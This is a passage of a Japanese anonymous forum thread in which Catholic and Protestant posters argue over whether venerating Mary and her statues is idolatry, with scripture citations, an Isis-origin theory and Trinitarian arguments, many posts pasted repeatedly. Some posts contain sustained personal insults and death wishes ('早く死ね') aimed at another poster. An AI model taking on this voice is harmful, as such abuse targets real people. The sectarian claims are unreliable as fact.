聖書が一貫して偶像を禁じている以上、神が特別に命じない限り、それを作るべきではありません。
A「礼拝ではなく、崇敬をしているのだから良いのだ」という主張は自己満足の詭弁に過ぎません。実際にローマ法王が、手を合わせてマリヤ像を拝んでいます。カトリックのマリヤ崇敬は偶像礼拝です。
又、カトリック教徒の多くは「マリアを礼拝にならない程度に敬っている」という自覚など持っていません。
B「神殿に向かってひれ伏して良いのだから、マリヤ崇敬をしても良い」という主張は詭弁です。神殿に向かってひれ伏す事は、神に向かってひれ伏す事と同じです。イザヤ6章1節
※神殿の形の偶像を作って拝んだら、偶像礼拝には違いありません。
427 :
名無しさん@1周年 :02/12/12 00:11
>>424 法王が手を合わせて拝んでるじゃないか?
マリヤ像を。
428 :
名無しさん@1周年 :02/12/12 00:11
あの、キリストご自身も、使徒もマリヤに祈りを捧げているのが聖書では確認できないのですが・・・
429 :
名無しさん@1周年 :02/12/12 00:12
>>423 たとえば、仏壇の母の遺影をあおいで、いのっている人を、
写真を崇拝していると言えますか。
かれは亡き母と心を通わせているのです。それと同じです。
カトリックでは、聖像があってもなくても天国の聖母に祈り、
心を通わせています。あなたもそうしなさい。
430 :
名無しさん@1周年 :02/12/12 00:15
「聖母=マリヤ」とすれば、三位一体からして万物の創造神=ヤハウェの母もマリヤとなっちゃう〜!
431 :
名無しさん@1周年 :02/12/12 00:15
>>428 エリザベトは聖霊に満たされてマリアをたたえましたが、何か?
432 :
名無しさん@1周年 :02/12/12 00:16
無知+歴史感覚に欠けた人
>>424 、フレスコ画に描かれた時代考証無視の人たちを見ても、
おかしいとは思わないのか?
まあ公教の世界観と要理の実際をよく現わしているが・・。
433 :
名無しさん@1周年 :02/12/12 00:16
434 :
名無しさん@1周年 :02/12/12 00:19
>>429 仏壇に位牌置いて拝んでも
仏壇に写真置いて拝んでも
仏壇に仏像置いて拝んでも
仏壇にマリヤ像置いて拝んでも
偶像礼拝だ。
435 :
名無しさん@1周年 :02/12/12 00:21
436 :
名無しさん@1周年 :02/12/12 00:22
プロテスタントではキリスト像に向かって手を合わせない(キリスト像自体がない)。 でも、キリストを崇拝しています。 マリヤ=聖母説が正しいと言う仮説に立ったとしても、やはりマリア像を奉り、それに向かって祈りを捧げている姿は奇怪に思えてならないのです。
437 :
名無しさん@1周年 :02/12/12 00:22
438 :
名無しさん@1周年 :02/12/12 00:23
>>430 いいえ。違います。
すでに、旧約の各書で、神の子の降誕の預言が
たくさん記録されていました。そして、当時、
その預言が成就することを、信仰心にとむ誰もが感じて、
聖書を探っていたのです。
エリザベトのような人は、マリアの宿した子が、
詩篇に預言された「私の主」(110:1)であることを
知っていたのです。
聖霊に満たされて、それを証ししたということです。
あなたも、エリザベトのように、マリアをたたえなさい。
439 :
名無しさん@1周年 :02/12/12 00:26
>>438 エリザベト・モンゴメリは魔女なんですよ。
440 :
名無しさん@1周年 :02/12/12 00:28
>>1:キリストがペテロにかけた言葉を読みなさい。 あなたの教会の運命が書かれています。 「あなたに言います。あなたはペテロです。わたしはこの岩の上に わたしの教会を建てます。ハデスの門もそれには打ち勝てません。 わたしは、あなたに天の御国のかぎを上げます。何でもあなたが地上で つなぐなら、それは天においてもつながれており、あなたが地上で解く なら、それは天においても解かれています。」(マタイ16:18、19) 「わたしのこれらのことばを聞いてそれを行なわない者はみな、砂の上に 自分の家を建てた愚かな人に比べることができます。雨が降って洪水が押 し寄せ、風が吹いてその家に打ちつけると倒れてしまいました。それはひ どい倒れ方でした。岩の上に建てられていなかったからです。」(7:24‐27) 「それはひどい倒れ方でした。」―あなたの教会のことです。
441 :
名無しさん@1周年 :02/12/12 00:28
>>438 エリザベトがマリヤ像造って拝んだのか?
馬鹿言っちゃいけねえよ。
442 :
名無しさん@1周年 :02/12/12 00:28
443 :
名無しさん@1周年 :02/12/12 00:29
>>440 偶像礼拝を始めた段階でカトリック教会は倒壊しているぞ。
貿易センタービルみたいに。
444 :
名無しさん@1周年 :02/12/12 00:30
445 :
名無しさん@1周年 :02/12/12 00:31
>>441 像のあるなしは関係ありません。あなたが何百体、聖像を壊そうと、カトリックは原像を敬っているのですから。
446 :
名無しさん@1周年 :02/12/12 00:31
カトリックの強みは偶像崇拝だよ。
447 :
名無しさん@1周年 :02/12/12 00:32
>>440 なるほど、使徒継承のカトリックは、
ペテロの岩の上にたてられているから、
崩れないわけですね。そう、神様が約束されているわけですね。
プロは砂上の楼閣だから、嵐と洪水でひどく倒れるわけですね。
了解しました。
448 :
名無しさん@1周年 :02/12/12 00:32
449 :
名無しさん@1周年 :02/12/12 00:34
>>445 >像のあるなしは関係ありません。
>あなたが何百体、聖像を壊そうと、
>カトリックは原像を敬っているのですから。
正解は最初の一行だけ。
像の有無は関係有りません。
神でないものを礼拝したら偶像礼拝です。
450 :
名無しさん@1周年 :02/12/12 00:36
>>論議が外れていませんか。441さんは、「エリザベトがマリヤ像造って拝んだのか? 」と人間の作った像に祈りを捧げる(=偶像崇拝)ことの可否を問うているのですよ。
451 :
名無しさん@1周年 :02/12/12 00:37
エリザベトはマリヤ像造って拝みませんでした。
452 :
名無しさん@1周年 :02/12/12 00:37
>448 要するに、聖母像がイシス像だと言いたいんだろう? イシス像は、「女の末が救い主になる」の預言(創世記3:15)を 古代人が形として残したものなんだよ。 だから、マリアが登場したときにイシス信仰をやってる異教徒は、 マリアをイシスと感じがいして、その信仰が盛りあがったの。 キリスト教徒になってもマリアはイシスだと思い続けたわけ。 でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。 あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして るんだね。本当にクリスチャン?笑っちゃうよ。
453 :
名無しさん@1周年 :02/12/12 00:37
当時のクリスチャンは、だから、マリアがイシスではないことを、 はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。 イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、 凡庸な庶民をイエス・キリストへの信仰に導こうとした。 それでも、ごっちゃになったままの異教徒が多かった。今も多い。 イシスのだっこする子が救世主になると長いこと考えられていたから、 異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、 イシスは古いエヴァであり、マリアは新しいエヴァなわけ。 だから、イシス教とか、大地母神崇拝が世界に存在する限り、 区別するための聖像もあり続けるの。わかる? そのオツムじゃわかんないか?
454 :
名無しさん@1周年 :02/12/12 00:39
>>445 様、論議が外れていませんか。441さんは、「エリザベトがマリヤ像造って拝んだのか? 」と人間の作った像に祈りを捧げる(=偶像崇拝)ことの可否を問うているのですよ。
455 :
名無しさん@1周年 :02/12/12 00:40
>>448 イシス像を打ち砕く代わりに、マリヤと称して拝んでるわけだろ。
何考えてんだ!
456 :
名無しさん@1周年 :02/12/12 00:40
>>454 くだらん議論だ。それに自作自演がミエミエだゾ。w
457 :
名無しさん@1周年 :02/12/12 00:41
>>452 イシス像を打ち砕く代わりに、マリヤと称して拝んでるわけだろ。
何考えてんだ!
神とは所詮人間が創り上げた偶像に過ぎないのだ。 何かを崇めることで自己の安定をはかる。偶像崇拝。 現代社会は丁度、鎌倉時代を嘲笑っている第二の奈良時代。 包み隠さず物を言うので、失敗してまた平安に戻る。 時代は常に廻っている。
459 :
名無しさん@1周年 :02/12/12 00:42
>>458 自分の文章に酔うな!!この、オナニストめ!
>457 要するに、聖母像がイシス像だと言いたいんだろう? イシス像は、「女の末が救い主になる」の預言(創世記3:15)を 古代人が形として残したものなんだよ。 だから、マリアが登場したときにイシス信仰をやってる異教徒は、 マリアをイシスと感じがいして、その信仰が盛りあがったの。 キリスト教徒になってもマリアはイシスだと思い続けたわけ。 でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。 あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして るんだね。本当にクリスチャン?笑っちゃうよ。
461 :
名無しさん@1周年 :02/12/12 00:43
>>452-453 キリスト教が国教になっても、ローマ人はイシス像を捨てられず、
イシス像を打ち砕く代わりに、マリヤと称して拝んでるわけだろ。
何考えてんだ!
462 :
名無しさん@1周年 :02/12/12 00:43
当時のクリスチャンは、だから、マリアがイシスではないことを、 はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。 イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、 凡庸な庶民をイエス・キリストへの信仰に導こうとした。 それでも、ごっちゃになったままの異教徒が多かった。今も多い。 イシスのだっこする子が救世主になると長いこと考えられていたから、 異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、 イシスは古いエヴァであり、マリアは新しいエヴァなわけ。 だから、イシス教とか、大地母神崇拝が世界に存在する限り、 区別するための聖像もあり続けるの。わかる? そのオツムじゃわかんないか?
>>461 要するに、聖母像がイシス像だと言いたいんだろう?
イシス像は、「女の末が救い主になる」の預言(創世記3:15)を
古代人が形として残したものなんだよ。
だから、マリアが登場したときにイシス信仰をやってる異教徒は、
マリアをイシスと感じがいして、その信仰が盛りあがったの。
キリスト教徒になってもマリアはイシスだと思い続けたわけ。
でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。
あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして
るんだね。本当にクリスチャン?笑っちゃうよ。
464 :
名無しさん@1周年 :02/12/12 00:47
>>462 分からせるまでも無いだろう。何考えてんだ。
偶像礼拝を止められないローマ人が、イシス像を
マリヤと称して拝んだだけじゃねえか!
詭弁を考えるためにではなく、真理を見出すために
頭を働かせろ!何考えてる!
当時のクリスチャンは、だから、マリアがイシスではないことを、 はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。 イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、 凡庸な庶民をイエス・キリストへの信仰に導こうとした。 それでも、ごっちゃになったままの異教徒が多かった。今も多い。 イシスのだっこする子が救世主になると長いこと考えられていたから、 異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、 イシスは古いエヴァであり、マリアは新しいエヴァなわけ。 だから、イシス教とか、大地母神崇拝が世界に存在する限り、 区別するための聖像もあり続けるの。わかる? そのオツムじゃわかんないか?
466 :
名無しさん@1周年 :02/12/12 00:48
>>452 おまえ、クリスチャンとは何か?
分かってるのか?
>464要するに、聖母像がイシス像だと言いたいんだろう? イシス像は、「女の末が救い主になる」の預言(創世記3:15)を 古代人が形として残したものなんだよ。 だから、マリアが登場したときにイシス信仰をやってる異教徒は、 マリアをイシスと感じがいして、その信仰が盛りあがったの。 キリスト教徒になってもマリアはイシスだと思い続けたわけ。 でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。 あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして るんだね。本当にクリスチャン?笑っちゃうよ。 当時のクリスチャンは、だから、マリアがイシスではないことを、 はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。 イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、 凡庸な庶民をイエス・キリストへの信仰に導こうとした。 それでも、ごっちゃになったままの異教徒が多かった。今も多い。 イシスのだっこする子が救世主になると長いこと考えられていたから、 異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、 イシスは古いエヴァであり、マリアは新しいエヴァなわけ。 だから、イシス教とか、大地母神崇拝が世界に存在する限り、 区別するための聖像もあり続けるの。わかる? そのオツムじゃわかんないか?w
>>466 要するに、聖母像がイシス像だと言いたいんだろう?
イシス像は、「女の末が救い主になる」の預言(創世記3:15)を
古代人が形として残したものなんだよ。
だから、マリアが登場したときにイシス信仰をやってる異教徒は、
マリアをイシスと感じがいして、その信仰が盛りあがったの。
キリスト教徒になってもマリアはイシスだと思い続けたわけ。
でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。
あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして
るんだね。本当にクリスチャン?笑っちゃうよ。
当時のクリスチャンは、だから、マリアがイシスではないことを、
はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。
イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、
凡庸な庶民をイエス・キリストへの信仰に導こうとした。
それでも、ごっちゃになったままの異教徒が多かった。今も多い。
イシスのだっこする子が救世主になると長いこと考えられていたから、
異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、
イシスは古いエヴァであり、マリアは新しいエヴァなわけ。
だから、イシス教とか、大地母神崇拝が世界に存在する限り、
区別するための聖像もあり続けるの。わかる?
そのオツムじゃわかんないか?w
469 :
名無しさん@1周年 :02/12/12 00:49
470 :
名無しさん@1周年 :02/12/12 00:50
脳みそ腐乱ちぇすこ 未完成の文を書き込んで、反論したつもりになっている妄想ジジイ。結論が欠如した掴み所の無い文書を書き込むのが特徴。真理を見出す為に頭を使わず、結論も無いような詭弁を考える為にのみ頭を使う。馬鹿なんだか、利口なんだか不明。 否、完璧な大馬鹿。 「マリヤ崇敬をすると神に背く」ということを、他の馬鹿にも増して、明確に認識しながら、故意に、悪意を持って神に背いている。カト用語では「大罪」。大罪ジジイ。 ウソと詭弁と妄想の中に逃げ込むアホ。 主に強い反感を持っている模様。 脳みそ腐乱ちぇすこほどの馬鹿野郎は探しても滅多にいない。 究極の馬鹿。馬鹿の代名詞。ギネス級の馬鹿。 脳みそ垂れ流して死にやがれ!
>>469 要するに、聖母像がイシス像だと言いたいんだろう?
イシス像は、「女の末が救い主になる」の預言(創世記3:15)を
古代人が形として残したものなんだよ。
だから、マリアが登場したときにイシス信仰をやってる異教徒は、
マリアをイシスと感じがいして、その信仰が盛りあがったの。
キリスト教徒になってもマリアはイシスだと思い続けたわけ。
でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。
あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして
るんだね。本当にクリスチャン?笑っちゃうよ。
当時のクリスチャンは、だから、マリアがイシスではないことを、
はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。
イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、
凡庸な庶民をイエス・キリストへの信仰に導こうとした。
それでも、ごっちゃになったままの異教徒が多かった。今も多い。
イシスのだっこする子が救世主になると長いこと考えられていたから、
異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、
イシスは古いエヴァであり、マリアは新しいエヴァなわけ。
だから、イシス教とか、大地母神崇拝が世界に存在する限り、
区別するための聖像もあり続けるの。わかる?
そのオツムじゃわかんないか?w
472 :
名無しさん@1周年 :02/12/12 00:51
脳みそ腐乱はオカマのケがあるようだ。
>@マリヤ崇敬は、神に背く偶像礼拝です。出エジプト記20章4節 ―― マリアは死んだ異教の偶像ではない。天国におられる今生きているクリス チャンの聖人であられる。 残念ながら、出エジプト記のその箇所は当てはまらない。クリスチャンは 新約の律法=キリストのみ言葉を守る。旧約は足かせ、奴隷のくびきであ ると聖パウロは証ししている。(ガラ4、5章) 十戒は、古い過ぎ越しとともに、エジプトの奴隷から解放された、古代イ スラエルの民に与えられたものであり、新約の新しいイスラエル=クリス チャンには、新しい過ぎ越し=十字架と新しい律法が与えられた。その律 法は、石の板に文字で書かれたものではない。御霊によって心の板に書か れるものです(二コリント3:3−8)。 古い十戒を守れと言うのなら、SDAか、メシアニックジュー、 イエスの御霊教会、スエデンボリ派になり、ユダヤ人の安息日も守れ。 写真を取っても見てもいけない。テレビやネットで映像を見ることも罪。 子供の人形をみな焼き滅ぼしなさい。しかし、そんなことをしなくても、 キリストの戒めを守る人は真の十戒を守っているのです。
>A偶像礼拝をすると悪霊と交わる事になります。1コリント10:20 ―― そのとおりです。偶像とは、もの言わぬ異教の死んだ像―物―です。 マリアは活ける天上の聖人。告知する善霊であって、「物」ではない。 マリアを敬う人は善霊と交わるのです。クレドにある「諸聖人の交わり」 とはそのことです。地上からあがなわれた天上の聖人をさして、諸聖人 と言う。ヨハネは幻に御使いが出現したときに、崇拝しようとしました。 御使いは神を崇拝しなさいと言いました。御出現のマリアも、偽物でない 限り、同じことを言われます。崇拝と崇敬は違います。 イエスをもってすべてが新しくされたことをいいかげん悟りなさい。旧約 では天国の観念も地獄の観念もあいまいだった。イエス・キリストの救い が世にもたらされていなかったからです。キリストの救いがもたらされて 以後、天国、地獄の観念が明確になりました。義人はみな天国に復活させ られたからです。天国に入らないものは「外の闇」にいます。あなたの心 に御霊が介入すれば、あなたは諸聖人との交わりに心開かれる。マリアの 存在が身近に感じられてきて、敬わざるを得なくなります。 自然にそうなる。文字遊びをやめて、御霊に生きなさい。
>B人は、ただキリスト・イエスを信じる信仰によって義と認められ救わ れるのであり、マリヤ崇敬によって救われるものではありません。 ガラ2:16 ―― 当たり前のことをいわんでください。お救いになるのはキリストです。 救われた人は、エリサベツやシメオンのように、救い主をお与えに なったマリア様をたたえます。ルカ1:42‐45、2:34‐5. 自然なことです。 >C神と人との間の仲介者は唯一、人としてのキリスト・イエスであり >マリヤは仲介者では有り得ません。第1テモテ2章5節 ―― キリストは、キリストを受け入れた人のための、人と神との唯一の仲介者 です。同時に、われわれが人のために祈ることを「とりなし、仲介」と言い ます。聖人ならずとも、クリスチャンなら誰でもしていることです。 イエスは敵のために祈りなさいと言いませんでしたか。使徒は罪に落ちた 兄弟のために祈りませんでしたか。聖人の筆頭であられるマリアは、自分 で祈りさえできない罪人のために、昼夜、仲介の祈りを、地上のクリス チャンと心を合わせてしているのです。
476 :
名無しさん@1周年 :02/12/12 00:56
>>473 神でないものを拝めば偶像礼拝。
>>474 悪霊と交わりたくないなら、マリヤ崇敬止めろ。
何考えてんだ!何も考えてねえんだろう。
477 :
名無しさん@1周年 :02/12/12 00:57
脳みそ腐乱ちぇすこ 未完成の文を書き込んで、反論したつもりになっている妄想ジジイ。結論が欠如した掴み所の無い文書を書き込むのが特徴。真理を見出す為に頭を使わず、結論も無いような詭弁を考える為にのみ頭を使う。馬鹿なんだか、利口なんだか不明。 否、完璧な大馬鹿。 「マリヤ崇敬をすると神に背く」ということを、他の馬鹿にも増して、明確に認識しながら、故意に、悪意を持って神に背いている。カト用語では「大罪」。大罪ジジイ。 ウソと詭弁と妄想の中に逃げ込むアホ。 主に強い反感を持っている模様。 脳みそ腐乱ちぇすこほどの馬鹿野郎は探しても滅多にいない。 究極の馬鹿。馬鹿の代名詞。ギネス級の馬鹿。 脳みそ垂れ流して死にやがれ!
>Dイエスは霊においては父なる神と等しく、肉においては人と同じです。 >主イエスが人として生まれたのはマリヤからですが、神と同質の神の御子 >として生まれたのは造られたすべてのものより先であり、マリヤは神の母 >では有り得ません。コロサイ1章15節 ―― イエスは霊だけで天国におられるのではなく、マリアがおうみになった肉 をもって天国におられる。十字架に付けられ釘打たれたそのおん体をもっ て再臨なさると預言されている。霊肉合わせもつキリストをわれわれは神 と呼ぶ。「イエスの肉は人と同じ」など、とんでもない異端的解釈です。 肉の母であるマリアは、まさしく神の御母です。 >E聖書のどこにも(外典にさえ)「マリヤ崇敬をせよ」とは書かれていま >せん。黙示録22章18節 ―― 崇敬は当たり前だから書いてないだけです。ユダヤ人ばかりか、イエスも 使徒も、アブラハムを初めとする父祖を敬っていました。説教に頻繁に父 祖が出てくるのはその証拠です。聖人を敬うのは当たり前です。
>Fカトリック教徒が聖伝と呼ぶものは、正典に匹敵するものではなく、 >信仰基準とは成り得ません。内容が正典に反するものなど論外です。 >マルコ7章8節 ―― 4世紀末に聖伝から正典が編纂されたことさえ知らないのですか。一世紀 からそのときまで無数の資料がありました。「正典」と今いわれているも のが、聖伝に矛盾していれば、「正典」として編纂されることはなかった。 カトリックにはプロの66巻に対して72巻正典がある。ルターも読んでい ました。正典が聖伝に矛盾しない様に、聖伝も正典に矛盾しない。正典に 矛盾するものは聖伝とは呼ばれません。要するに、正典は聖伝の1部とい うことです。「正典」成立の過程を勉強なさい。基本認識が間違っています。
480 :
名無しさん@1周年 :02/12/12 01:00
>>478 死ぬまでやってろ!馬鹿野郎!
死ぬまでやれば、マリヤが神の母に変身するかもよ。
481 :
名無しさん@1周年 :02/12/12 01:02
なんでえ、
>>1 のヤシ、全部論破されてやんの。
馬鹿じゃね?
もうこねーよ!
482 :
名無しさん@1周年 :02/12/12 01:02
>>肉の母であるマリアは、まさしく神の御母 その飛躍した説が通の味!マリヤはイエスの肉体上の母であって、それ以外の何ものでもない。
483 :
名無しさん@1周年 :02/12/12 01:03
俺さん、全部論破されてたんだね。なーんだ。ププ。じゃ〜ね〜!
484 :
名無しさん@1周年 :02/12/12 01:03
>>481 来るな!来るな!
オマエが偶像拝んでも
馬鹿を見るのはオマエだから
485 :
名無しさん@1周年 :02/12/12 01:05
マリヤ崇敬が間違いであることは 冒頭で明らかになっている。 死ぬまで詭弁考えてろ!大馬鹿野郎! 早く死ね!
486 :
名無しさん@1周年 :02/12/12 01:07
>>482 イエス・キリストは受肉した神。
従って肉も神の肉です。
これクリスチャンの常識。その証拠に、肉をもって昇天し、
肉をもって来臨される。
ハイ、俺さんの負け。
じゃあね。もうねるわ。
488 :
名無しさん@1周年 :02/12/12 01:12
∴カトリックは、「マリヤ教」である。 これで、マリヤ教=カトリックとキリスト教=プロテスタントの分類がはっきり出来るぜ! これからは、同じ「キリスト教」としての分類は不要! よし!喧嘩両成敗!
489 :
名無しさん@1周年 :02/12/12 01:20
>>482 もしマリアは人性の母だとすれば、御父は神性の父だね。
俺さんは、神性の意味を知らんようだな。
神性は父と子と聖霊の三位一体の唯一の本性なんだよ。
とするとだな、御父は御子の父であり、聖霊の父であり、御父の父になってしまうんだよ。
聖霊は生まれるものではなく発出するもの。御父は生まれざるもの発出せざるもの。
あんたサベリオス異端か父難説異端になるぞ。
アタナシオス信条でも読んで勉強しなおせ。
490 :
名無しさん@1周年 :02/12/12 01:25
俺さんよ、おめー、論破されっぱなしで、恥ずかしくねーのか?w
したがって、 御父は神性の父ではなく、神格(御子)の父。 マリアは人性の母ではなく、神格の母。 分かったか俺さん。
>>482 もしマリアが人性の母だとすれば、御父は神性の父だね。
俺さんは、神性の意味を知らんようだな。
神性は父と子と聖霊の三位一体の唯一の本性なんだよ。
とするとだな、御父は御子の父であり、聖霊の父であり、御父の父になってしまうんだよ。
聖霊は生まれるものではなく発出するもの。御父は生まれざるもの発出せざるもの。
あんたサベリオス異端か父難説異端になるぞ。
アタナシオス信条でも読んで勉強しなおせ。
したがって、
御父は神性の父ではなく、神格(御子)の父。
マリアは人性の母ではなく、神格の母。
分かったか俺さん。
>>482 もしマリアが人性の母だとすれば、御父は神性の父だね。
俺さんは、神性の意味を知らんようだな。
神性は父と子と聖霊の三位一体の唯一の本性なんだよ。
とするとだな、御父は御子の父であり、聖霊の父であり、御父の父になってしまうんだよ。
聖霊は生まれるものではなく発出するもの。御父は生まれざるもの発出せざるもの。
あんたサベリオス異端か父難説異端になるぞ。
アタナシオス信条でも読んで勉強しなおせ。
したがって、
御父は神性の父ではなく、神格(御子)の父。
マリアは人性の母ではなく、神格の母。
分かったか俺さん。
494 :
名無しさん@1周年 :02/12/12 01:38
495 :
共贖者マリア :02/12/12 02:59
聖母の御心はイエスのみ心と一つであられる。人としての聖母は 神としてのイエスと心において一つになっている。それは私たち 人間がイエスのみ心と一つになる入口である。 聖母の脇腹から赤子が取り出されたように、アダムの脇腹からエヴァが 取り出されたように、聖母はイエスと心においても体においても1つで あられた。イエスの苦しみは聖母の苦しみとなった。 「あなたの心を剣が刺し貫く。それによって多くの人の思いが明らかにさ れる」(ルカ2:35) 聖母の御心がイエスのあがないを共にすることが、私たちの心の目を キリストのあがないに開かせる。
496 :
共贖者マリア :02/12/12 03:00
聖母は人間としての贖罪の見本である。聖母は人でありながら、神の苦 しみを共にされた。私たちは、人として、隣人の苦しみをともにできる。 わが子の苦しみに胸を引き裂かれない母がいるだろうか。聖母がその子供 たちである私たちのために心引き裂かれる思いで祈っているのを知れば、 私たちはどうして、兄弟姉妹のために祈れずにおれようか。 そのように、聖母は教会に連なる共同贖罪の母である。大聖テレジアを 見よ。セラフィムの槍を受けて、聖人の心臓は切り裂かれ、兄弟姉妹、 教会のために苦しみを負う犠牲の霊魂に召された。セラフィムの槍は、 キリストの脇腹を突き刺してあがないの血を注ぎ出した聖ロンギヌスの槍 の再現である。 キリストの贖いが天にて続けられているように、地においても、人として 贖いの務めに召される人々がいる。マリアは天における諸聖人の筆頭 であり、地上の聖人はその写しであり、あなた方が共にすべき小さき あがないの見本である。
497 :
共贖者マリア :02/12/12 03:00
パードレ・ピオもそのつとめに召された。このような、キリストの十字架 を体において経験し、今なお天にてキリストの贖罪が継続されていること を身をもって証言する聖人が、常に教会を影で支えてきたことを知れ。 その存在を見本として、あなた方もまた小さき贖いができるためである。 マリアは世の終わりに至るまであがないの働きを共にされている。 キリストの心の人における半分として、その御心は聖カテリーナ・ ラブレーに啓示され、メダイに刻まれた。その心臓に刺さった剣から流れ 出す血は、世の罪を御身に受けて苦しむ犠牲の霊魂の注ぎ出す清い御心の 御血である。 血は霊である。聖なる血は汚れた血を清める。切り裂かれたキリストの 心臓から流れる主の御血は、それに連なる聖母の切り裂かれたみ心を伝っ て世に聖霊となって流れ下る。それで、聖霊に満たされた人は、聖母を 通してキリストのみ心に一つになっている。 聖母の共同贖罪の意味はここにある。あなた方は聖母を通して、まことに キリストの神秘体に属するのである。
498 :
共贖者マリア :02/12/12 03:00
聖母なくして、どうしてキリストが世に与えられたであろうか。聖母は世 の始まる前より神によって選ばれていた。同じように、霊の永遠性におい て、聖母はいつまでも、キリストご自身を世にお与えになる御者にあらせ られる。 プロテスタントは母を知らぬ子のようである。だが、子は知らなくとも、 母は子を知っている。子が母を知ればどんなによいことか。子は泣いて 母に走り寄る。子の心の渇きは満たされる。御母は聖霊の浄配であられる ので、聖霊をいただく人は必ずや聖母の恵みに浴している。実に、聖母は、 聖霊が世に流される道である。世に向けていのちの川を流す道である。
499 :
名無しさん@1周年 :02/12/12 03:33
>>1 の異端者によれば、キリストは地上に生まれる前は神だったが、
受肉した33年間だけ神ではなくなり、ただの「肉」になったという
異様な結論にいたる。しかし、ヨハネはあかしする。
「ことばは肉となった。ことばは神であった。」
肉となった神が神ではないと言う異端説には、まことに戦慄を覚える。
まことにもって、異端説はおぞましい。
500 :
名無しさん@1周年 :02/12/12 03:35
iya, mattaku da !
501 :
名無しさん@1周年 :02/12/12 03:46
俺さん、神なる霊が肉をまとったのではなく、神なる御言葉が人となったのです。 聖霊が受肉したのではなく、御言葉が受肉したのです。 唯一の神性が御父から生まれたのではなく、御言葉なる神格が御父から造られずして永遠に生まれたのです。 御父は神格を生んだのと同様に、マリアは神格を生んだのです。 わかりましたか。
502 :
名無しさん@1周年 :02/12/12 03:52
>>1 俺さん、神なる霊が肉をまとったのではなく、神なる御言葉が人となったのです。
聖霊が受肉したのではなく、御言葉が受肉したのです。
唯一の神性が御父から生まれたのではなく、御言葉という神格が御父という神格から造られずして永遠に生まれたのです。
同様に、御言葉という神格がマリアという人格から世の終わりに生まれたのです。
わかりましたか。
503 :
名無しさん@1周年 :02/12/12 14:17
>>1 によると、
神は33年間だけ神ではなかったという奇怪な結論にいたる。
ワラ
504 :
名無しさん@1周年 :02/12/12 14:18
>>1 の異端者によれば、キリストは地上に生まれる前は神だったが、
受肉した33年間だけ神ではなくなり、ただの「肉」になったという
異様な結論にいたる。しかし、ヨハネはあかしする。
「ことばは肉となった。ことばは神であった。」
肉となった神が神ではないと言う異端説には、まことに戦慄を覚える。
505 :
名無しさん@1周年 :02/12/12 14:59
506 :
名無しさん@1周年 :02/12/12 15:27
507 :
名無しさん@1周年 :02/12/12 15:39
>>504 人を攻撃する理由が無いからといって、
でたらめなことを言うんじゃない!
508 :
名無しさん@1周年 :02/12/12 15:41
509 :
名無しさん@1周年 :02/12/12 15:42
>>508 そうか偶像礼拝がしたいのか?
もっとやれ!
死ぬまでやってろ!藁
510 :
名無しさん@1周年 :02/12/12 15:44
>>509 要するに、聖母像がイシス像だと言いたいんだろう? イシス像は、「女の末が救い主になる」の預言(創世記3:15)を 古代人が形として残したものなんだよ。だから、マリアが登場したときに イシス信仰をやってる異教徒は、マリアをイシスと感じがいして、 その信仰が盛りあがったの。キリスト教徒になってもマリアはイシスだと 思い続けたわけ。 でも、それはかんじがいなの。マリアはイシスではない。イシスはエバ。 あんたは21世紀にもなって、まだ2000年前の異教徒と同じ誤解をして るんだね。本当にクリスチャン?笑っちゃうよ。 当時のクリスチャンは、だから、マリアがイシスではないことを、 はっきりわからせる必要が出てきたの。聖母像の起源はそこにあるの。 イシス像を聖母像に代えて、イシスへの祈りをマリアへの祈りに代えて、 凡庸な庶民をイエス・キリストへの信仰に導こうとした。 それでも、ごっちゃになったままの異教徒が多かった。今も多い。 イシスのだっこする子が救世主になると長いこと考えられていたから、 異教徒にとってはイシスがマリアなわけ。でも、クリスチャンからすると、 イシスは古いエヴァであり、マリアは新しいエヴァなわけ。 だから、イシス教とか、大地母神崇拝が世界に存在する限り、 区別するための聖像もあり続けるの。わかる? そのオツムじゃわかんないか?w
511 :
名無しさん@1周年 :02/12/12 15:46
イシス崇拝をいていたローマ人は、 キリスト教がローマの国教になっても、 イシス崇拝止められず、 イシス像をマリヤと称して拝んだのだ。 従って、マリヤ崇敬=イシス崇拝。 マリヤ像=イシス像である。
512 :
名無しさん@1周年 :02/12/12 15:49
>>511 イシス崇拝をいていたローマ人は、 キリスト教がローマの国教になっても、
イシス崇拝止められず、 イシス像をマリヤと称して拝んだのだ。
従って、マリヤ崇敬=イシス崇拝。マリヤ像=イシス像である。
と書いたところで、聖母崇敬の正しさは聖書からも証明済み。出直して来い!
513 :
名無しさん@1周年 :02/12/12 15:52
>>1 の異端者によれば、キリストは地上に生まれる前は神だったが、
受肉した33年間だけ神ではなくなり、ただの「肉」になったという
異様な結論にいたる。しかし、ヨハネはあかしする。
「ことばは肉となった。ことばは神であった。」
肉となった神が神ではないと言う異端説には、まことに戦慄を覚える。
514 :
名無しさん@1周年 :02/12/12 15:54
